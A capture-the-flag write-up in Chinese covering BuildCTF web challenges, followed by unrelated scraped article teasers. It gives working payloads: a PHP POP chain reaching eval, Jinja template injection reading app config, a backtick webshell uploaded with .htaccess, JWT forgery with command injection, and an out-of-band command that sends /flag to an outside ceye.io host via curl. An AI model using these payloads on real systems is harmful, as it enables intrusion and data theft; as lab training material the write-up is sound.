BuildCTF 公开赛web部分wp

文章目录
    • LovePopChain
    • RedFlag
    • Why_so_serials?
    • babyupload
    • eazyl0gin
    • ez!http
    • ez_md5
    • find-the-id
    • sub
    • tflock
    • 刮刮乐
    • 我写的网站被rce了?

LovePopChain

payload:

<?php
class MyObject{
    public $NoLove="Do_You_Want_Fl4g?";
    public $Forgzy;
    public function __wakeup()
    {
        if($this->NoLove == "Do_You_Want_Fl4g?"){
            echo 'Love but not getting it!!';
        }
    }
    public function __invoke()
    {
        $this->Forgzy = clone new GaoZhouYue();
    }
}

class GaoZhouYue{
    public $Yuer;
    public $LastOne;
    public function __clone()
    {
        echo '最后一次了, 爱而不得, 未必就是遗憾~~';
        eval($_POST['y3y4']);
    }
}

class hybcx{
    public $JiuYue;
    public $Si;

    public function __call($fun1,$arg){
        $this->Si->JiuYue=$arg[0];
    }

    public function __toString(){
        $ai = $this->Si;
        echo 'I W1ll remember you';
        return $ai();
    }
}
$a=new MyObject();
$a->NoLove=new hybcx();
$a->NoLove->Si=new MyObject();
$a->NoLove->callxxx(new GaoZhouYue());
echo serialize($a);

在这里插入图片描述

浅提一下思路

我们目的是想要 eval($_POST[‘y3y4’]); 需要触发__clone(),从而找到 MyObject的__invoke()方法,想要触发__invoke()需要找到hybcx类的__toString()方法,想要触发__toString()方法,就要触发MyObjec的__wakeup()方法,并让方法中的变量赋为对应的类即可

__clone(),当对象复制完成时调用
__invoke(),调用函数的方式调用一个对象时的回应方法
__toString(),类被当成字符串时的回应方法
其他方法详见超链接

RedFlag

import flask
import os


app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/redflag/<path:redflag>')
def redflag(redflag):
    def safe_jinja(payload):
        payload = payload.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload
    return flask.render_template_string(safe_jinja(redflag))



 __globals__:对保存函数全局变量的字典的引用-定义函数的模块的全局命名空间。

payload:

http://27.25.151.80:44428/redflag/{{url_for.__globals__

发现current_app
在这里插入图片描述

http://27.25.151.80:44428/redflag/{{url_for.__globals__['current_app'].config}}

在这里插入图片描述

Why_so_serials

<?php

error_reporting(0);

highlight_file(__FILE__);

include('flag.php');

class Gotham{
    public $Bruce;
    public $Wayne;
    public $crime=false;
    public function __construct($Bruce,$Wayne){
        $this->Bruce = $Bruce;
        $this->Wayne = $Wayne;
    }
}

if(isset($_GET['Bruce']) && isset($_GET['Wayne'])){
    $Bruce = $_GET['Bruce'];
    $Wayne = $_GET['Wayne'];

    $city = new Gotham($Bruce,$Wayne);
    if(preg_match("/joker/", $Wayne)){
        $serial_city = str_replace('joker', 'batman', serialize($city));
        $boom = unserialize($serial_city);
        if($boom->crime){
            echo $flag;
        }
    }else{
    echo "no crime";
    }
}else{
    echo "HAHAHAHA batman can't catch me!";
}

字符串逃逸使得crime为1即可
payload

$a=new Gotham( 'c','jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}');
echo serialize($a);
echo "
";
$a=str_replace('joker', 'batman',serialize($a));
echo $a;

在这里插入图片描述

babyupload

在这里插入图片描述
发现upload.php
经过检测并未严格控制文件的上传后缀,不允许上传php,phtml文件,会检测Content-Type的类型是否为图片抓包 改Content-Type
思路:上传.htaccess文件+png文件
在这里插入图片描述
经过测试文件内容不能有php,eval,assert等敏感词汇

<?=`$_GET[x]`?>

在这里插入图片描述
命令可以执行这种情况可能是前面乱码的原因
在这里插入图片描述

eazyl0gin

  • 关键在routes/users.js

    var express = require(‘express’);
    var router = express.Router();
    const crypto = require(‘crypto’);
    const { type } = require(‘os’);

    /* GET users listing. */
    router.get(‘/’, function(req, res, next) {
    res.send(‘respond with a resource’);
    });

    router.post(‘/login’,function(req,res,next){
    var data = {
    username: String(req.body.username),
    password: String(req.body.password)
    }
    const md5 = crypto.createHash(‘md5’);
    const flag = process.env.flag

    if(data.username.toLowerCase()===‘buildctf’){
    return res.render(‘login’,{data:“你不许用buildctf账户登陆”})
    }

    if(data.username.toUpperCase()!=‘BUILDCTF’){
    return res.render(‘login’,{data:“只有buildctf这一个账户哦~”})
    }

    var md5pwd = md5.update(data.password).digest(‘hex’)
    if(md5pwd.toLowerCase()!=‘b26230fafbc4b147ac48217291727c98’){
    return res.render(‘login’,{data:“密码错误”})
    }
    return res.render(‘login’,{data:flag})

    })
    module.exports = router;

需要注意的在这里

  if(data.username.toLowerCase()==='buildctf'){
    return res.render('login',{data:"你不许用buildctf账户登陆"})
  }

  if(data.username.toUpperCase()!='BUILDCTF'){
    return res.render('login',{data:"只有buildctf这一个账户哦~"})
  }
  
  var md5pwd = md5.update(data.password).digest('hex')
  if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){
    return res.render('login',{data:"密码错误"})
  }
  return res.render('login',{data:flag})

参考p牛文章https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
注意

"?".toUpperCase() == 'I'

这里就可以用来绕过
password直接md5解密
在这里插入图片描述
在这里插入图片描述

ez!http

user=root
在这里插入图片描述
改Referer
在这里插入图片描述
改User-Agent
在这里插入图片描述
改XFF
在这里插入图片描述
改Date
在这里插入图片描述
这里邮箱不知为何没有传递成功,当时比赛时间内成功后没来得及写wp,知道的可以在评论区告诉我下,后续还会更新。

ez_md5

在这里插入图片描述
这里输入

ffifdyop // MD5 加密后变成万能密码

在这里插入图片描述
查看下robots.txt
在这里插入图片描述

$Build != $CTF && md5($Build) == md5($CTF)
这里使用数组绕过即可
md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28"
根据已知提示使用脚本爆破

爆破脚本

import hashlib
def md5_encrypt(text):
    md5 = hashlib.md5()
    md5.update(text.encode('utf-8'))
    return md5.hexdigest()
for i in range(1145140000000,1145149999999):
    b=md5_encrypt(str(i))
    if(b=="3e41f780146b6c246cd49dd296a3da28"):
        print(i)
        break

在这里插入图片描述
在这里插入图片描述
这里将_改为[

find-the-id

给提示了

  • 善用工具,跟你爆了

  • 是1到300之间的某个整数

  • 在这里插入图片描述
    这道题有点莫名奇妙
    简单写个爆破脚本

    import requests

    for i in range(1, 300):
    url = f’http://27.25.151.80:44446/index.php?g={i}’
    res = requests.get(url=url).text
    if ‘BuildCTF’ in res:
    print(res)
    break

在这里插入图片描述

sub

import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'

DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}

messages = []

@app.route('/message', methods=['GET', 'POST'])
def message():
    if request.method == 'POST':
        name = request.form.get('name')
        content = request.form.get('content')

        messages.append({'name': name, 'content': content})
        flash('Message posted')
        return redirect(url_for('message'))  

    return render_template('message.html', messages=messages)

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users:
            flash('Username already exists')
            return redirect(url_for('register'))
        users[username] = {'password': generate_password_hash(password), 'role': 'user'}
        flash('User registered successfully')
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users and check_password_hash(users[username]['password'], password):
            access_token = jwt.encode({
                'sub': username,
                'role': users[username]['role'],
                'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
            }, app.config['JWT_SECRET_KEY'], algorithm='HS256')
            response = make_response(render_template('page.html'))
            response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')
            # response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')
            return response
        else:
            return jsonify({"msg": "Invalid username or password"}), 401
    return render_template('login.html')

@app.route('/logout')
def logout():
    resp = make_response(redirect(url_for('index')))
    resp.set_cookie('jwt', '', expires=0)
    flash('You have been logged out')
    return resp

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/page')
def page():
    jwt_token = request.cookies.get('jwt')
    if jwt_token:
        try:
            payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
            current_user = payload['sub']
            role = payload['role']
        except jwt.ExpiredSignatureError:
            return jsonify({"msg": "Token has expired"}), 401
        except jwt.InvalidTokenError:
            return jsonify({"msg": "Invalid token"}), 401
        except Exception as e:
            return jsonify({"msg": "Invalid or expired token"}), 401

        if role != 'admin' or current_user not in users:
            return abort(403, 'Access denied')

        file = request.args.get('file', '')
        file_path = os.path.join(DOCUMENT_DIR, file)
        file_path = os.path.normpath(file_path)
        if not file_path.startswith(DOCUMENT_DIR):
            return abort(400, 'Invalid file name')

        try:
            content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
        except subprocess.CalledProcessError as e:
            content = str(e)
        except Exception as e:
            content = str(e)
        return render_template('page.html', content=content)
    else:
        return abort(403, 'Access denied')


@app.route('/categories')
def categories():
    return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5050)

附件大概可以知道这是一个jwt验证身份的网站,思路就是注册账户得到jwt通过密钥修改jwt得role身份为admin然后通过page网页修改file得参数达到执行任意命令得效果

在这里插入图片描述
漏洞点,file可以通过;执行多条任意命令

在这里插入图片描述
拿到jwt

修改为admin
在这里插入图片描述
拿到jwt去page页面
在这里插入图片描述

tflock

扫描出来这些文件
在这里插入图片描述
点击忘记密码发现提示
在这里插入图片描述
在robots.txt中找到密码本
在这里插入图片描述
发现两个目录
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
测试发现ctfer用户的账号和密码是对的需要通过password.txt爆破出admin的密码
将password.txt保存下来使用burpsuit爆破即可
这里不知为何重做时没用爆破出正确的密码,比赛时间内成功后没来得及写wp,知道的可以在评论区告诉我下,后续还会更新。

刮刮乐

查看源代码可以知道cmd参数

猜想执行命令

cmd=ls%7Csleep%203
//执行后发现延时所以可以执行命令不过无回显

使用带外注入

推荐利用平台 http://ceye.io/

cmd=curl http://xxxxx.ceye.io/`cat /flag`
或者
curl `cat /flag`.xxxxx.ceye.io都可以
改为自己的标识符

在这里插入图片描述

在这里插入图片描述

我写的网站被rce了?

在这里插入图片描述
查看日志和查看进程可以执行命令并回显
先了解写linux中的||
按照顺序,在第一个命令执行成功时,第二个命令就不会执行;或者在第一个命令返回错误时,将执行第二个命令
在这里插入图片描述
我们构建一个不存在的文件使得查看文件的命令错误执行第二个命令
同时保证access.log结尾
先查看一下源代码
cat和more被过滤使用uniq,空格被过滤使用$IFS
在这里插入图片描述
禁用不是太严格直接写命令读取
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/941385.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

diff 算法实现的几种方法和前端中的应用

diff 算法原理和几种实现方法 diff 是什么 diff 算法就是比较两个数据的差异&#xff0c;例如字符串的差异&#xff0c;对象的差异。 常用于版本管理&#xff08;git&#xff09;例如下面的实际案例。 github 上某个 commit&#xff0c;旧代码和新代码之间的不同 diff 展示…

Nacos源码搭建

拉取并配置代码 仓库地址 https://github.com/alibaba/nacos找到config 模块中找到 \resources\META-INF\mysql-schema.sql&#xff0c;在本地mysql中创建数据库nacos-config&#xff0c;将该脚本导入执行创建表。 找到console模块下的配置文件application.properties&#x…

C# Winfrom chart图 实例练习

代码太多了我就不展示了&#xff0c;贴一些比较有代表性的 成品效果展示&#xff1a; Excel转Chart示例 简单说一下我的思路 \ 先把Excel数据展示在dataGridView控件上 XLIST 为 X轴的数据 XLIST 为 Y轴的数据 ZLIST 为 展示的数据进行数据处理点击展示即可 // 将Excel数…

# 起步专用 - 哔哩哔哩全模块超还原设计!(内含接口文档、数据库设计)

↑ 上方下载文档 (大小374KB) 接口文档预览 (超过50个接口) 一、数据库25张表er-关系清晰构图&#xff01;(tip: 鼠标右键图片 > 放大图像) 二、难点/经验 详细说明 热门评论排序评论点赞列表|DTO封装经验分享|精华接口文档说明 组员都说喜欢分档对应枚举码 如果这篇文章…

【Go学习】从一个出core实战问题看Go interface赋值过程

0x01 背景 版本中一个同学找我讨论一个服务出core的问题&#xff0c;最终他靠自己的探索解决了问题&#xff0c;给出了初步的直接原因结论&#xff0c;"Go 中 struct 赋值不是原子的”。间接原因的分析是准确的&#xff0c;直接原因&#xff0c;我有点怀疑。当时写了一些…

leetcode之hot100---54螺旋矩阵(C++)

思路一&#xff1a;模拟 模拟螺旋矩阵的路径&#xff0c;路径超出界限&#xff0c;顺时针旋转&#xff0c;使用一个数组记录当前数字是否被访问到&#xff0c;直到所有的数字全部被访问 class Solution {//一个静态的常量数组&#xff0c;用于标记螺旋矩阵的移动方向(行列变化…

新能源汽车锂离子电池各参数的时间序列关系

Hi&#xff0c;大家好&#xff0c;我是半亩花海。为了进一步开展新能源汽车锂离子电池的相关研究&#xff0c;本文主要汇总并介绍了电动汽车的锂离子电池的各项参数&#xff0c;通过 MATLAB 软件对 Oxford Dataset 的相关数据集进行数据处理与分析&#xff0c;进一步研究各项参…

FastStone 10.x 注册码

简介 FastStone Capture是一款经典好用的屏幕截图软件&#xff0c;在屏幕截图领域具有广泛的应用和众多优势。 软件基本信息 FastStone Capture体积小巧&#xff0c;占用内存少&#xff0c;这使得它在运行时不会给计算机系统带来过多的负担&#xff0c;即使在配置较低的电脑…

AI合成图片是什么意思?有什么用?

随着人工智能的发展&#xff0c;现在市面上出现了很多对企业帮助很大的AI工具&#xff0c;比如说AI合成图片、AI换模特、AI穿衣、AI图片设计等等&#xff0c;下面小编就以AI合成图片为例&#xff0c;为大家详细介绍下。 一、AI合成图片是什么意思? AI合成图片主要就是指利用人…

【示例】Vue AntV G6 base64自定义img 动画效果,自适应宽高屏

需求&#xff1a;拓扑图中需要用动画的线条连接node&#xff0c;在此之前将HTML页面改成了vue页面。需要使用到G6的registerEdge 自定义边&#xff0c;小车的图片需要转成base64格式&#xff08;并翻转&#xff09;&#xff0c;可以通过base64转image查看原来的样子。 另外&am…

MySQL的分析查询语句

【图书推荐】《MySQL 9从入门到性能优化&#xff08;视频教学版&#xff09;》-CSDN博客 《MySQL 9从入门到性能优化&#xff08;视频教学版&#xff09;&#xff08;数据库技术丛书&#xff09;》(王英英)【摘要 书评 试读】- 京东图书 (jd.com) MySQL9数据库技术_夏天又到了…

【递归,搜索与回溯算法 综合练习】深入理解暴搜决策树:递归,搜索与回溯算法综合小专题(二)

优美的排列 题目解析 算法原理 解法 &#xff1a;暴搜 决策树 红色剪枝&#xff1a;用于剪去该节点的值在对应分支中&#xff0c;已经被使用的情况&#xff0c;可以定义一个 check[ ] 紫色剪枝&#xff1a;perm[i] 不能够被 i 整除&#xff0c;i 不能够被 per…

观察者模式(sigslot in C++)

大家&#xff0c;我是东风&#xff0c;今天抽点时间整理一下我很久前关注的一个不错的库&#xff0c;可以支持我们在使用标准C的时候使用信号槽机制进行观察者模式设计&#xff0c;sigslot 官网&#xff1a; http://sigslot.sourceforge.net/ 本文较为详尽探讨了一种观察者模…

GitCode 光引计划投稿|智能制造一体化低代码平台 Skyeye云

随着智能制造行业的快速发展&#xff0c;企业对全面、高效的管理解决方案的需求日益迫切。然而&#xff0c;传统的开发模式往往依赖于特定的硬件平台&#xff0c;且开发过程繁琐、成本高。为了打破这一瓶颈&#xff0c;Skyeye云应运而生&#xff0c;它采用先进的低代码开发模式…

高校就业管理:系统设计与实现的全流程分析

3.1可行性分析 在项目进行开发之前&#xff0c;必须要有可行性分析报告&#xff0c;分别从技术角度&#xff0c;经济角度&#xff0c;操作角度上面进行分析&#xff0c;经过可行性分析是实现科学开发的必要步骤。 3.1.1技术可行性 从技术的角度出发&#xff0c;目前采用开发的技…

超级AI图像放大工具Upscayl:让你的照片细节更清晰,色彩更鲜艳!

前言 Hello大家好&#xff0c;我又来推荐非常好用的AI图片无损放大器,模糊图片秒变高清&#xff0c;Upscayl是一个免费开源的AI图像超分辨率工具。它使用AI模型来通过猜测细节的方式增强图像并提高其分辨率。该工具适用于Linux、macOS和Windows操作系统 安装环境 [名称]&…

1.gitlab 服务器搭建流程

前提条件&#xff1a; 一、服务器硬件水平 搭建gitlab服务器最低配置要求2核4G,低于这个配置的服务器运行效果很差。 gitlab官网&#xff1a;https://about.gitlab.com/ 下载地址&#xff1a;gitlab/gitlab-ce - Packages packages.gitlab.com 本机ubuntu 二、安装依赖 su…

Ai编程从零开始全栈开发一个后台管理系统之用户登录、权限控制、用户管理-前端部分(十二)

云风网 云风笔记 云风知识库 一、创建前端部分 1、vite初始化项目 npm create vitelatest admin-frontend – --template vue-ts 2、安装必要的依赖 npm install vue-router pinia axios element-plus element-plus/icons-vue安装完成后package.json如下&#xff1a; {&qu…

CVE-2024-34351 漏洞复现

CVE-2024-34351&#xff0c;由Next.js异步函数createRedirectRenderResult导致的SSRF。 影响版本&#xff1a;13.4.0< Next.js < 14.1.1 参考文章&#xff1a; Next.js Server-Side Request Forgery in Server Actions CVE-2024-34351 GitHub Advisory Database Gi…

怎么理解GKE Role-Based Access Control (RBAC) 和 Pod Security Policies (PSP)

怎么理解GKE Role-Based Access Control (RBAC) 和 Pod Security Policies (PSP) 理解 Google Kubernetes Engine (GKE) 中的角色基于访问控制&#xff08;RBAC&#xff09;和 Pod 安全策略&#xff08;PSP&#xff09;对于确保集群安全性至关重要。以下是对这两个概念的详细解…